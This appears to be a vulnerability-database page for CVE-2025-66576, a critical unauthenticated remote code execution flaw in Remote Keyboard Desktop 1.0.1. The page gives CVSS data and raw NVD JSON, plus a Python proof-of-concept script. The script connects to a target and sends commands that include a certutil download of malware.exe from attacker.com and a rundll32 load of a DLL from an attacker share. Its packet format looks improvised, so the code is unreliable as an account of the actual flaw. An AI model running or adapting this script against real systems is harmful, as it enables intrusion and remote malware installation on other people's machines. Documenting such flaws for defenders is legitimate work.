Security Vulnerability Report
中文
CVE-2025-66576 CVSS 9.8 CRITICAL

CVE-2025-66576

Published: 2025-12-04 21:16:11
Last Modified: 2025-12-17 16:21:58

Description

Remote Keyboard Desktop 1.0.1 enables remote attackers to execute system commands via the rundll32.exe exported function export, allowing unauthenticated code execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:remotecontrolio:remote_keyboard_desktop:1.0.1:*:*:*:*:windows:*:* - VULNERABLE
Remote Keyboard Desktop 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66576 PoC - Remote Keyboard Desktop RCE # Target: Remote Keyboard Desktop 1.0.1 # Attack Vector: rundll32.exe exported function abuse import socket import struct import sys def send_exploit(target_ip, target_port, command): """Send malicious command via rundll32.exe export function""" # Construct exploit payload # DLL name with embedded command dll_path = f"RemoteKeyboard.dll,{command}" # Build request packet packet = b"\x00" * 4 # Header packet += dll_path.encode('utf-16le') packet += b"\x00" * 2 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) response = sock.recv(4096) sock.close() print(f"[+] Payload sent successfully") print(f"[*] Command executed: {command}") return True except Exception as e: print(f"[-] Error: {e}") return False def rundll32_exploit(target_ip, target_port): """Main exploit function using rundll32.exe""" # Common RCE commands commands = [ "whoami > C:\\\\temp\\\\pwned.txt", "certutil -urlcache -split -f http://attacker.com/malware.exe C:\\\\temp\\\\malware.exe", "powershell -EncodedCommand <base64_encoded_powershell>", "rundll32.exe \\\\[attacker_share\\]\\\\malicious.dll,ExportFunction" ] for cmd in commands: send_exploit(target_ip, target_port, cmd) if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) print(f"[*] Exploiting CVE-2025-66576") print(f"[*] Target: {target_ip}:{target_port}") rundll32_exploit(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66576", "sourceIdentifier": "[email protected]", "published": "2025-12-04T21:16:10.600", "lastModified": "2025-12-17T16:21:58.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Remote Keyboard Desktop 1.0.1 enables remote attackers to execute system commands via the rundll32.exe exported function export, allowing unauthenticated code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:remotecontrolio:remote_keyboard_desktop:1.0.1:*:*:*:*:windows:*:*", "matchCriteriaId": "AE6865AF-201A-4236-BB55-070A6B6BEF91"}]}]}], "references": [{"url": "https://apps.microsoft.com/detail/9n0jw8v5sc9m?hl=neutral&gl=US&ocid=pdpshare", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://remotecontrolio.web.app/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/52299", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/remote-keyboard-desktop-101-remote-code-execution-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/52299", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}